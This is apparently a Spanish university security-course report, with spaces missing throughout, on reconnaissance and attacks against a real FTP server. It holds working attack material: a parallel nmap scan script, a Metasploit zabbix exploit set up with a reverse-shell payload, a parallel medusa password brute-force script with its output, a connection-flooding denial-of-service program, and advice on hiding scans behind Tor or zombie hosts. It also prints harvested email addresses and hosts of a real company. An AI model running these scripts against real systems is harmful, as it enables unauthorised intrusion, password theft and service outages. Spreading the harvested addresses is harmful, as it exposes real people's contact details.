Está en la página 1de 20

EscaneodeservidorFTP

Bsquedadevulnerabilidades
DavidNezlvarez
PSI2011/2012
Conmotivodenorevelarlosdatosdelservidoralqueselerealizelestudiovamosasuponer
quesudominioesftp.objetivo.comysuIPnosercompletamentevisible.
Enunprincipio,sloconocemoseldominiowebdelservidorFTPquesernuestroobjetivode
estudio,ftp.objetivo.com
NosconectamosalldesdeelnavegadoryvemosqueelserviciodeFTPestaactivoy
funcionandocorrectamente.
1.Inicio
LoprimeroqueharemosserconseguirsudireccinIP:
$nslookupftp.objetivo.com
Name: ftp.objetivo.com
Address:1...6
EstaIPserlabasedetodasnuestraspruebas.
1.1)Empezaremosintentandohacerunpingalobjetivo.
$pingc31...6
PING1...6(1...6)56(84)bytesofdata.
1...6pingstatistics
3packetstransmitted,0received,100%packetloss,time2009ms
Sevequeelobjetivonorespondealping,estopuededeberseadiferentesmotivos,como
sabemosquelamquinaestfuncionandoelmscomnesquetengandesactivadala
respuestaalosmensajesICMP.
1.2)Intentaremosllegaralatravsdeotrosmedioscomotracerouteparahacernosunaidea
dequmquinashayentrenosotrosyelobjetivoaversidescubrimosalgo,lomasseguroes
quetambinsenosfiltreantesdellegaralobjetivoyaquetraceroutefuncionasobreICMP.
$traceroute1...6
ConlasalidaquenosdiotraceroutevemosqueapartirdeunpuntolasdireccionesIPsenos
ocultan,cosaquenosindicaqueseguramenteestemospasandoatravsdeunfirewallque
nosestfiltrandolapaqueteraenviada.
1.3)Nohayquepreocuparse,haydiferentesmanerasdellegaraunamquinadetrsdeun
firewall.
Unadeellasesconlaherramientahping3.
Usaremoslaopcint1combinadaconlaopcinZloquenospermitequealpulsarCTRL+Z
elTTLdelospaquetesqueenvahping3aumenteen1yvayavariandoelpuntoquenos
respondeentrenosotrosyelobjetivo.
SeusartambinlaopcinSquepondrelflagSYNdeTCPa1,flagquelosfirewallsuelen
dejarpasaryaqueeselflagquepermiteiniciarunaconexinTCP.
#hping3 -S -t 1 -p 21 -n -z1...6
HPING1...6 (wlan01...6): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=192.168.1.1
2: TTL 0 during transit from ip=..176.1
3: TTL 0 during transit from ip=...254
4: TTL 0 during transit from ip=...62
5: TTL 0 during transit from ip=...97
6: TTL 0 during transit from ip=...162
7: TTL 0 during transit from ip=...26
8: TTL 0 during transit from ip=...10
9: TTL 0 during transit from ip=...122
10: TTL 0 during transit from ip=...50
11: TTL 0 during transit from ip=...130
12: len=44 ip=1...6 ttl=116 DF id=14741 sport=21 flags=SA seq=27 win=8192 rtt=58.3 ms
len=44 ip=1...6 ttl=116 DF id=14742 sport=21 flags=SA seq=28 win=8192 rtt=59.4 ms
len=44 ip=1...6 ttl=116 DF id=14743 sport=21 flags=SA seq=29 win=8192 rtt=58.6 ms
Hemostenidosuerte,conseguimospasaratravsdelfirewallyalcanzarnuestroobjetivo.
ConestodescubrimoslaIPdelfirewallylossaltosquehayentreesteylamquinaobjetivo.
EnunprincipionuestroobjetivoparaestereporteslaIPdondeseencuentraelservidorFTP,
peroconlasalidaanteriorhemosdescubiertodndeestelfirewall,otraposiblemquina
vulnerabledelaredinterna.
2)Descubrimiento
Continuaremoselanlisisintentandodescubrirlosserviciosquetienenuestramquinaobjetivo
(sesabequeyatieneunservidorFTPcorriendoenelpuerto21).
Usaremoslaherramientanmap.
Unabuenaprcticaenunescaneorealserautilizaropcionesdenmapquenospermitanocultarnosdetrs
demquinaszombiescomotcnicasdeidlescan.Ousarherramientascomotorsocksquenos
permitiranmeterlaspruebasdeescaneoporlaredTORysaliratravsdeunaIPdiferentealanuestra.
ocultandoasquinestescaneandolamquina.
Empezaremosconunescaneoatrespuertosconocidosquepodranestarabiertosyconla
opcinPNquedesactivael"nmapdiscovering(usandoPING)yaqueyasabemosquela
mquinaexisteyestfuncionando.
# nmap -sT -PN -p 21,22,80 -v
Starting Nmap 5.00 ( http://nmap.org ) at 2012-04-30 23:25 CE
NSE: Loaded 0 scripts for scanning.
Initiating Connect Scan at 23:25
Scanning 1...6 [3 ports]
Completed Connect Scan at 23:25, 0.76s elapsed (3 total ports
Host 1...6 is up (0.78s latency).
Interesting ports on 1...6:
PORT STATE SERVICE
21/tcp open ftp
22/tcp filtered ssh
80/tcp filtered http
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.79 seconds
Comprobamosqueefectivamenteelpuerto21tienecorriendoftpdetrs,losdemspuertos
vemosquenmapnosindicaqueestnfiltrados.
Haremosahoraunescaneounpocomscompletousandodirectamenteelescaneodenmap
sinindicarlepuertos,loqueharquenmaphagaunescaneodelospuertosmscomnmente
usados(msde1500).
# nmap -sT -PN -v 1...6
Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-01 00:06 CEST
NSE: Loaded 0 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 00:06
Completed Parallel DNS resolution of 1 host. at 00:06, 0.04s elapsed
Initiating Connect Scan at 00:06
Scanning 1...6 [1000 ports]
Host 1...6 is up (0.059s latency).
Interesting ports on 1...6:
Not shown: 913 filtered ports
PORT STATE SERVICE
21/tcp open ftp
24/tcp open priv-mail
80/tcp open http
212/tcp open anet
311/tcp open asip-webadmin
406/tcp open imsp
465/tcp open smtps
667/tcp open unknown
668/tcp open unknown

8443/tcp open https-alt


8873/tcp open unknown
9001/tcp open tor-orport
9009/tcp open unknown
9290/tcp open unknown
10215/tcp open unknown
10629/tcp open unknown
13782/tcp open netbackup
17988/tcp open unknown
20005/tcp open btx
30951/tcp open unknown
32781/tcp open unknown
33354/tcp open unknown
40193/tcp open unknown
44443/tcp open coldfusion-auth
49155/tcp open unknown
49999/tcp open unknown
55600/tcp open unknown
58080/tcp open unknown
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 42.43 seconds
Vemosquenosindicamuchospuertosabiertos,cosaqueesunpocoextraa,yaque
normalmenteunamquinanosueletenertantospuertosescuchando,ademsnosmuestra
queelpuerto80estabierto,puertoqueanteriormenteaparecicomofiltrado.
Estohacesospecharyhaciendootroescaneoigualqueelanteriorlospuertosquenosindica
abiertossonotroscompletamentedistintos.
Diferentessistemasdeproteccinintentanengaaralosintrusosdemltiplesmaneras.Una
deellasesdandoinformacinfalsa.
Sevequehaciendoescaneospequeoslainformacinquesenosdevuelveacercadelos
puertosparecesercorrecta.
$nmap -sT -PN -v -p 21 1...6
PORT STATE SERVICE
21/tcp open ftp
$nmap -sT -PN -v -p 80 1...6
PORT STATE SERVICE
80/tcp filtered http
Asqueintentaremoshacerescaneosmspequeos(ymsseparadoseneltiempo).
Seintentarbuscarportantohacerunescaneoporlomenosalos49151puertosqueformanel
conjuntodepuertosconocidosyregistradosyaquesonlosmscomunesparausar.
Seramtodomuytedioso(ademsdelargo,yaquecadaescaneotardaunos2segundos)
intentarhacerescaneosdepuertoenpuertomanualmente.
Creamosunscriptqueejecutenmap500veces,yqueempieceenelnmeroqueseleindique
multiplicadopor500.
Assiseleindica0escanearlos500primeros,1del501al1000,2del1001al1500yas
sucesivamente.
*****************************************************************************************
* nmap.sh *
*****************************************************************************************
#!/bin/bash
ini=$[1+$1*500];
fin=$[500+$1*500];
for (( i = $ini; i < $fin; i++ )); do
nmap -sT -PN -v -p $i 1...6 |grep open
done
*****************************************************************************************
Ejecutaremoselscriptdentrodeunbuclefordesdeel1al100enparaleloparapoderabarcar
todoslospuertosanteriormentemencionados.
Sisetieneunordenadorpotenteestonoserunproblemaytendremos100nmap
ejecutndoseenparalelocadaunointerrogandoaunpuertodiferentedelamquina.
yenpocosminutosobtenemoslasalida.
$ for (( i = 0; i < 100; i++ )); do ./nmap.sh $i & done
21/tcp open ftp
10050/tcp open unknown
49155/tcp open unknown
Laejecucinfuncionyobtuvimosquelamquinatena3puertosabiertos.
21(ftp)
10050(desconocido)
49155(desconocido)
3)Reconocimientodeaplicaciones.
Yasesabequepuertostienelamquinaescuchando.Ahoraelsiguientepasosersaberqu
corredetrsdecadapuerto.
3.1)Nmaptambintieneopcionespara"SERVICEANDVERSIONDETECTION".Seusa
aadiendolaopcinsV.
Ejecutandodiferentespruebasparalosdospuertosnuevosqueobtuvimos.
$ nmap -PN -sV -p 49155 1...6
Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-07 13:12 CEST
Interesting ports on 1...6:
PORT STATE SERVICE VERSION
49155/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows
Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.54 seconds
$ nmap -PN -sV -p 10050 1...6
Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-07 13:13 CEST
Interesting ports on 1...6:
PORT STATE SERVICE VERSION
10050/tcp open tcpwrapped
Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
Nosindicaqueenel49155estcorriendoelservicioMSRPCyenel10050nosindica
tcpwrapped(nmapnopudodescubrirquehayenesepuertoeindicaqueestafiltrado
"tcpwrapped")
Cuandonmapnopuedeobtenerloquecorredetrsdeunpuertoosuversin,tienediferentes
opcionesparaintentarprobardeotrasmaneras,unadeellases"versionintensityX"donde
Xesunnmeroentreel0yel9.
Enestecasoseprobaroncontodaslasopcionesyningunadiomsdatosnideversinnide
quserviciosson.(Tampocoparaelpuerto21)
3.2)Hacemosusodelaherramientanetcatparaconectarnosalospuertosintentandobuscar
algnmensajedebienvenidaenalgunodeellosquenosdealgunainformacinamayores.
$nc -v -n 1...6 21
(UNKNOWN) [1...6] 21 (ftp) open
220-Bienvenido al FTP (over ssl) de .
220 Welcome to theFTP server.
$ nc -v -n 1...6 10050
(UNKNOWN) [1...6] 10050 (zabbix-agent) open
$ nc -v -n 1...6 49155
(UNKNOWN) [1...6] 49155 (?) open
Conlosmensajesdebienvenidanoseconsiguinadaperovemosquenetcatasociaalpuerto
10050laherramientademonitorizacinzabbix.
3.3)Otrapruebapodraserbuscarenlapaqueteraquesegeneraenlaconexinalserviciodel
puerto10050conalgunaherramientacomowireshark.
Wiresharkasociatambindichopuertoazabbix.
4)ReconocimientodeSO
Nmaptambintieneopcionesparareconocimientodesistemasoperativoseindicarnosqu
sistemaoperativohaydetrsdeunaIP.
Estoserausandolaopcin"O"peroenestecasolaherramientanopudoindicarunsistema
operativoconcretomostrandounporcentajedemsdel90paradiferentessistemasoperativos
completamentediferentes.
PerotambinparaestecasotenemosgrandesposibilidadessabiendoquecorreunMSRPCde
quelamquinaseaWindows(esos,nosabemosquwindows).
5)Anlisisyexplotacindevulnerabilidades.
Llegadosaestepuntotenemosquelamquinacorredetrsdeunfirewall
Seguramentetengaunsistemadeproteccinqueengaaanuestraherramientade
reconocimientodeaplicacionesysistemasoperativos.
Lamquinatiene3puertosabiertosydetrsdeellosunservidorftp,elserviciode
monitorizacinzabbixyMicrosoftWindowsRPC(loquenosindicaquecasiseguramente
seaunamquinawindows).
Apartirdeestosepodranintentarexplotarlasvulnerabilidadesdelamquinasiesquelas
tiene.
Hayherramientasdebsquedadevulnerabilidadescomonessusopginasenlasquese
exponenvulnerabilidadesyexploitsparaellashttp://www.exploitdb.com/.
Tambinhaydiferentesherramientasonlinecomohttp://www.shodanhq.com/enlasquese
buscaporip,dominio(http://www.shodanhq.com/search?q=www.telefonica.com)...Yseobtiene
losserviciosquecorrendetrs.Shodantambinpuedebuscarporservicioyofrecerteexploits
paral.
5.1)Unaherramientaparalaexplotacindevulnerabilidadesserametasploit.
MetasploitFrameworkesunaincluyegrancantidaddeexploitsparavulnerabilidadesde
diversasaplicacionesylasexplotaremotamente.
Sepuedenbuscarlasvulnerabilidadesdelasaplicacionesobjetivodesdelaherramientaoenel
buscadorpropiodelapginawebdelproyectohttp://www.metasploit.com/modules/
Laformabsicadefuncionamientoescargarelexploitquesequiera,configurarloylanzarlo,si
lamquinaesvulnerableadichoexploit,conpocosclickssepuedeconseguirecharlaabajo,
tomarelcontrolatravsdeunshellremoto...
Ejemplodecmoseusaraelexploitparazabbixenmetasploit:
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/misc/zabbix_agent_exec
msf exploit(zabbix_agent_exec) > show payloads
msf exploit(zabbix_agent_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(zabbix_agent_exec) > set LHOST [MY IP ADDRESS]
msf exploit(zabbix_agent_exec) > set RHOST [TARGET IP]
msf exploit(zabbix_agent_exec) > exploit
Despusdevercmoseusametasploitvamosabuscarexploitsquepuedanvalernospara
zabbixoMSRPC.
zabbix:
SlotienenesteexploitqueafectaalaversiondeFreeBSD
http://www.metasploit.com/modules/exploit/unix/misc/zabbix_agent_exec
(YaquelamquinatieneWindows,descartado)
MicrosoftWindowsRPC:
Lamayorasonexploitsparadiferentesbufferoverflowquetenaendiferentesversiones.
http://www.metasploit.com/modules/exploit/windows/dcerpc/ms03_026_dcom
PARA
(WindowsNTSP36a/2000/XP/2003Universal)
http://www.metasploit.com/modules/exploit/windows/dcerpc/ms07_029_msdns_zonena
me
PARA
(0Automatic(2000SP0SP4,2003SP0,2003SP1SP2)(default)
1Windows2000ServerSP0SP4+English
2Windows2000ServerSP0SP4+Italian
3Windows2000ServerSP0SP4+French
4Windows2003ServerSP0English
5Windows2003ServerSP0French
6Windows2003ServerSP1SP2English
7Windows2003ServerSP1SP2French
8Windows2003ServerSP1SP2Spanish
9Windows2003ServerSP1SP2Italian
10Windows2003ServerSP1SP2German)
Ningnexploitllegacuajarenlamquinaobjetivo,silamquinaestbienparcheaday
actualizada,lamayoradelosagujerosquepudiesehaberenella,estncerrados.
Porestapartenosepudoobtenernada.
6)Anlisisyexplotacindevulnerabilidades.(PASSWORDGUESSINGFTP)
Porotrapartesigueestandoelservidorftp.Enltenemosaccesoaalgunascarpetascomo
usuarioannimo,perohayotrasalasqueslopuedenaccederusuariosregistrados.
Algoquesepodraintentareselaccesoadichosdirectorios,paraellointentaremosloguearnos
comousuarioconherramientasdepasswordguessing.
Esteesunprocesolargoybastantecomplicado,yaquelamayoradelasherramientas
pruebanpasswordsporfuerzabruta,nosfacilitaraalgoeltrabajosaberdequestformadala
contrasea,cuantoscaracterestiene...
Tambinharaeltrabajomuchomssencilloelteneryaelnombredealgnusuariodel
sistema.
Nosotrossabemosquelosnombresdeusuarioparaelservidorftpsonsusdireccionesde
correo.
6.1)Haymuchasmanerasdeconseguirunlogindeunusuario,perosiademssabemosque
esladireccindecorreo,unscriptllamado"theHarvester.py"nospuedesermuytil.
http://www.edgesecurity.com/theHarvester.php
Estescriptnosdaremails,nombresdeusuario,subdominiosynombresdehostbuscandoen
google,bing...Delaorganizacinqueleindiquemos.
Unejemploparaunacompaacomotelefnicaseraelsiguiente:
Lasalidaestacortadaylosemailsmodificados,perosepuedevercomofuncionaradicho
script.
$ python theHarvester.py -d telefonica.com -l 200 -b all
*************************************
*TheHarvester Ver. 2.2 *
*Coded by Christian Martorella *
*Edge-Security Research *
*cmartorella@edge-security.com *
*************************************
Full harvest..
[-] Searching in Google..
Searching 0 results...
Searching 100 results...
Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
Searching 100 results...
Searching 200 results...
[-] Searching in Exalead..
Searching 100 results...
Searching 200 results...
[+] Emails found:
------------------
aciofundacion.ar@telefonica.com
iorecepcion.ar@telefonica.com
inios@e-telefonica.com
ring.tiws@telefonica.com
nna.romano@telefonica.com
arf.ramirez@telefonica.com
...
...
...
arrf@telefonica.com
igVi@telefonica.com
demo.telefonica.com
alch@telefonica.com
zalcr@telefonica.com
zd@telefonica.com
[+] Hosts found in search engines:
------------------------------------
195.53.169.57:www.telefonica.com
200.81.36.14:mailus.telefonica.com
200.81.36.14:mailar.telefonica.com
81.200.64.180:www.infomail.telefonica.com
66.231.233.212:live.us.telefonica.com
195.55.75.245:www.fundacion.telefonica.com
...
...
...
216.177.199.93:us.telefonica.com
195.53.169.9:saladeprensa.telefonica.com
195.55.75.245:www.fundacion.telefonica.com
216.177.199.93:www.multinationalsolutions.telefonica.com
[+] Virtual hosts:
==================
195.53.169.57 www.telefonica.com
195.53.169.57 cesaralierta.telefonica.com
195.53.169.57 www.ve.telefonica.com
195.53.169.57 juliolinares.telefonica.com
...
...
...
212.36.82.130 www.maratondegaza.com
212.36.82.130 www.quicklycontact.net
212.36.82.130 maxconn.arancharuiz.com
79.125.125.3 redpacientes.com
79.125.125.3 atlas.telefonica.com
79.125.125.3 informerc.telefonica.com
Teniendounusuariodelsistemaintentaramosobtenerlacontraseadeesteusuariopor
"fuerzabruta"
Enestecasodeejemplovamosausarunficheroconlas10000contraseasmsusadasen
internetelusuario"Admin"yelprogramamedusa.
Medusaseusadelasiguientemanera:
$medusa -h "IP" -u "NOMBREUSUARIO" -P "ARCHIVODECONTRASEAS.txt" -M ftp -v6
Mftp>indicaqueuseelmduloparaservidoresftp
v6>modoverbose
Laspruebasdepasswordguessingaservicioswebsonmuylentasyaquehayqueenviarla
peticinyesperarlarespuesta.
Unaformadehacerestounpocomsrpidoesejecutarvariasconsultasenparalelo.Para
estosecreunpequeoscriptquepartieseelficherodecontraseasenNpartesyqueejecute
medusaNvecesenparalelocadaunausandounapartedelarchivopartido.
*******************************************************************************
ataque.sh
*******************************************************************************
#!/bin/bash
if [[ $# != 4 ]];
then
echo "./script <nproc> <ficheropass> <host> <usuario>"
echo " nproc= numero procesos a ejecutar en paralelo"
echo " host = host a atacar con medusa"
echo " usuario = usuario a probar con medusa"
exit;
fi
nproc=$1;
entrada=$2;
host=$3;
usuario=$4;
#tamano de entrada a traves de wc cogiendo solo numero lineas
tam_entrada=`wc -l $entrada |cut -f 1 -d " "`;
#division entera hacia arriba
limite=$[ ($tam_entrada / $nproc) + ($tam_entrada % $nproc) ]
i=0;
j=0;
h=0;
echo -n " Dividiendo archivo de passwd "
#partimos el archivo en tantos archivos como procesos se indique
while read line
do
if [[ $i -lt $limite ]];
then
echo "$line" >> salida$j.txt;
i=$[$i + 1];
else
j=$[$j + 1];
i=0;
fi
done < $2
echo "[COMPLETADO]"
#se ejecuta en paralelo nproc medusa
#uno con cada archivo de passwords
for (( k = 0 ; k <= $j ; k++ ))
do
medusa -h $3 -u $4 -P salida$k.txt -M ftp -v6 &
done
#borrar archivos auxiliares
#rm salida*;
*******************************************************************************
Unejemplodeusodelscriptcon5ejecucionesparalelassera:
(./ataqueNUMEROPROCESOSFICHEROPASSWORDS.txtIPNOMBREUSUARIO):
$ ./ataque.sh 5 passwords2.txt 1...6 admin
Dividiendo archivo de passwd [COMPLETADO]
$ Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 200
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 196
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 200
GENERAL: Total Passwords: 200
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 200
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: superman1 (1 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: justus (1 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: unreal (1 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: niklas (1 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 123456 (1 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: bullshit (2 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: area51 (2 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: rasmus (2 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: ibanez (2 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: password (2 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 131313 (3 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: deadman (3 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 123456789 (3 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: helistin (3 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: terror (3 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: fucker (4 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: redbull (4 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: qwerty (4 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: blizzard (4 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: reaper (4 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: martin (5 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: jaguar (5 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 12345678 (5 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: donald (5 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: undertaker (5 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 9452 (6 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 1123581321 (6 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 111111 (6 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: juventus (6 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: kawasaki (6 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: parker (7 of 196 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: jackass (7 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: abc123 (7 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: vincent (7 of 200 complete)
ACCOUNT CHECK: [ftp] Host: 1...6 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 87654321 (7 of 200 complete)
...
Segnlapotencia(nmerodemquinas,potenciadecadamquina,velocidaddelaconexin...)
quetengaelatacantepodrarealizaresteataqueenhoras,dias,meses...
Yunaraznbsicaparapoderrealizarestoesqueesteservidorftpnocortaaquieneshagan
muchosintentosfallidosdeaccesooaIPsqueintentanconexionessimultneas.
Unaaccinmuycomnesusarparatodoslosserviciosinternoslamismacontrasea,sicon
estemtodosellegaseasacarlacontraseadealgnusuario,muyprobablementepodramos
accedernosloalservidorftpcomol,sinoaotrosserviciosdelaorganizacin...
6)Anlisisyexplotacindevulnerabilidades.(FLOODFTP)
Comosepudoobservarenelapartadoanteriorelservidorftpnotienelmitedeconexionespara
unamismaIP,nibloqueaIPsquehaganmuchosintentosfallidosdeconexin.
Estotambinpodraservirpararealizarataquesdedenegacindeservicio,enunservidorftp
sintirarabajodichoservidorunataquededenegacindeserviciopodraserelobtenertodaslas
conexionesquepermitaestablecerelservidor,impidiendoquelosdemsusuariospuedan
conectarse.
SecreunprogramaenC,floodftp,(http://pastebin.com/mFJiPmBB)queestablece
conexionesannimascontraunservidorftpynolascierra.
Elprogramaseejecutara:
$./floodftp 1...6
El programa queda ejecutndose, leyendo nmeros e intentando hacer ese nmero de conexiones
contra el servidor ftp.
Haciendodiversaspruebasenelservidoryalavezmostrandolasconexionesestablecidas
entrenuestramquinayelservidor:
$watch -n 1 'netstat -tupen | grep floodftp | grep ESTABLISHED | wc -l'
Secompruebaqueelservidorpermiteestablecerunmximode500conexiones.
Siseestableceunaconexinelservidornolacierra.
Peroestableciendolas500mximasalos35segundoselservidorcierratodas.
Apartirdeloobservadoenlaspruebashechasconfloodftpsellegaalaconclusindeque
estableciendocada35segundoslas500conexionesseramuycomplicadoalosdems
usuariosaccederalservidordebidoaladenegacindelservicioqueestamoscreando.
Finalmentesellegaalaconclusindequeelservidoresbastanteseguro,estlo
suficientementeparcheadooactualizadoparaquenotengavulnerabilidadesenlasaplicaciones
quetienecorriendo.
Centrndonosenlaaplicacinpropiadelservidorftpdelpuerto21,stapermitemltiples
conexionesdeunamismaIPymltiplesintentosdeiniciosesinfallidos.
LasmltiplesconexionesdesdeunamismaIPnospermitenpoderobteneraunmismousuario
todaslasconexionesimpidiendoalosdemsconectarse.
Perosisecortaestoseimpediraqueporejemploenlugaresenlosqueunconjuntode
mquinassalenatravsdelamismaIP,comopuedeserlafacultad,nospudisemosconectar
simultneamenteaesteservidordeinternet.
Lapartedequeelservidornolmiteelnmerodeintentosdelogearsepodraconsiderarseun
fallodeseguridad,perosilascontraseassonlosuficientementeseguras,seracasiimposible
conherramientasdepasswordguessingremotoobtenerunacontrasea.

También podría gustarte